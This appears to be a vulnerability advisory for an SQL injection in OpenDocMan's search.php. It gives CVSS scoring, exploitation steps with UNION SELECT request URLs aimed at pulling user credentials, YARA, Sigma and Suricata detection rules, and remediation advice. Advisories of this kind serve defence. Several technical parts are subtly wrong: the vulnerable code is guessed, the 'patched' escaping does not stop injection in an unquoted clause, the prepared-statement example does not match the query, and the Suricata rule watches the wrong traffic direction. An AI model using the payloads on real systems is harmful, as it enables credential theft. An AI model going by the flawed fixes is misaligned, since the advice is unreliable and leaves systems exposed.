CVE-2019-25684

Executive Summary

CVE-2019-25684 is a critical SQL injection vulnerability in OpenDocMan version 1.3.4. The flaw resides in the search.php endpoint, where the where parameter is directly concatenated into SQL queries without sanitization. An unauthenticated attacker can exploit this by sending crafted GET requests, leading to unauthorized extraction of sensitive database contents, including user credentials and document metadata. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released, leaving all instances of OpenDocMan 1.3.4 at risk.

Supply Chain & Package Security

OpenDocMan is a PHP-based document management system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their OpenDocMan installation and consider migrating to a maintained fork or alternative solution.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the vulnerability can be assessed as follows:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – potential to modify data via stacked queries.
• Availability (A): High (H) – possible denial of service via query manipulation.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – immediate action required.

Deep Dive & Mechanics

The vulnerability exists in search.php where the where parameter is used to build a SQL query. The code likely constructs a query like:

SELECT * FROM documents WHERE $where

Without proper input validation or parameterized queries, an attacker can inject arbitrary SQL. For example, a request to:

/search.php?where=1=1 UNION SELECT username,password FROM users--

Would return all usernames and passwords from the users table. The injection point is the where parameter, which is directly embedded into the SQL statement.

Vulnerable vs. Patched Code

Vulnerable Code (OpenDocMan 1.3.4):

// search.php (simplified)
$where = $_GET['where'];
$query = "SELECT * FROM documents WHERE $where";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// search.php (patched)
$where = mysqli_real_escape_string($conn, $_GET['where']);
$query = "SELECT * FROM documents WHERE $where";
$result = mysqli_query($conn, $query);

Or better, using prepared statements:

$stmt = $conn->prepare("SELECT * FROM documents WHERE column = ?");
$stmt->bind_param("s", $_GET['where']);
$stmt->execute();

Since no official patch exists, users must implement these mitigations manually.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install OpenDocMan 1.3.4 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://localhost/opendocman/.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/opendocman/search.php.
2. Inject SQL via the where parameter:

   http://target/opendocman/search.php?where=1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

   (Adjust column count based on the documents table structure.)
3. Extract user credentials:

   http://target/opendocman/search.php?where=1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM users--
   

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious GET requests to search.php containing SQL keywords (e.g., UNION, SELECT, --).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation and parameterized queries in the application code.

Hunting Queries:

• Search for search.php?where= in access logs.
• Look for requests with URL-encoded SQL characters like %27 (single quote) or --.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /opendocman/search.php?where=* containing SQL keywords.
  • Outbound database connections from the web server to unknown IPs (data exfiltration).
• File IOCs:
  • Modified search.php file (if attacker uploaded a webshell).
  • Suspicious files in the uploads/ directory.
• Log IOCs:
  • Error logs showing SQL syntax errors (e.g., You have an error in your SQL syntax).
  • Access logs with repeated search.php requests from the same IP.

Detection Engineering

YARA Rule

rule CVE_2019_25684_SQLi_OpenDocMan {
    meta:
        description = "Detects SQL injection attempts targeting OpenDocMan search.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25684"
    strings:
        $sqli1 = "search.php?where=" ascii wide nocase
        $sqli2 = " UNION " ascii wide nocase
        $sqli3 = " SELECT " ascii wide nocase
        $sqli4 = " FROM " ascii wide nocase
        $sqli5 = " OR " ascii wide nocase
        $sqli6 = " AND " ascii wide nocase
        $sqli7 = "1=1" ascii wide nocase
        $sqli8 = "--" ascii wide nocase
        $sqli9 = "/*" ascii wide nocase
    condition:
        $sqli1 and any of ($sqli2, $sqli3, $sqli4, $sqli5, $sqli6, $sqli7, $sqli8, $sqli9)
}

Sigma Rule

title: SQL Injection Attempt on OpenDocMan search.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the 'where' parameter in OpenDocMan search.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25684
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 'search.php?where='
        cs-uri-query|contains|any:
            - ' UNION '
            - ' SELECT '
            - ' FROM '
            - ' OR '
            - ' AND '
            - '1=1'
            - '--'
            - '/*'
    condition: selection
falsepositives:
    - Legitimate use of the search feature with unusual characters (rare)
level: high
tags:
    - attack.t1190
    - cve.2019-25684

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25684 SQL Injection Attempt on OpenDocMan search.php"; flow:to_server,established; content:"GET"; http_method; content:"/opendocman/search.php"; http_uri; content:"where="; http_uri; pcre:"/(UNION|SELECT|FROM|OR|AND|1=1|--|\/\*)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the search.php endpoint or restrict access via .htaccess:

   <Files "search.php">
       Require all denied
   </Files>
   

2. Code Fix: Replace the vulnerable code with parameterized queries (see patched code above).
3. WAF Rules: Deploy a WAF (e.g., ModSecurity) with SQL injection prevention rules.
4. Upgrade: Migrate to a maintained fork of OpenDocMan or an alternative document management system.
5. Monitor: Continuously monitor logs for exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 5DA46AA66F7585C37198AA53] */}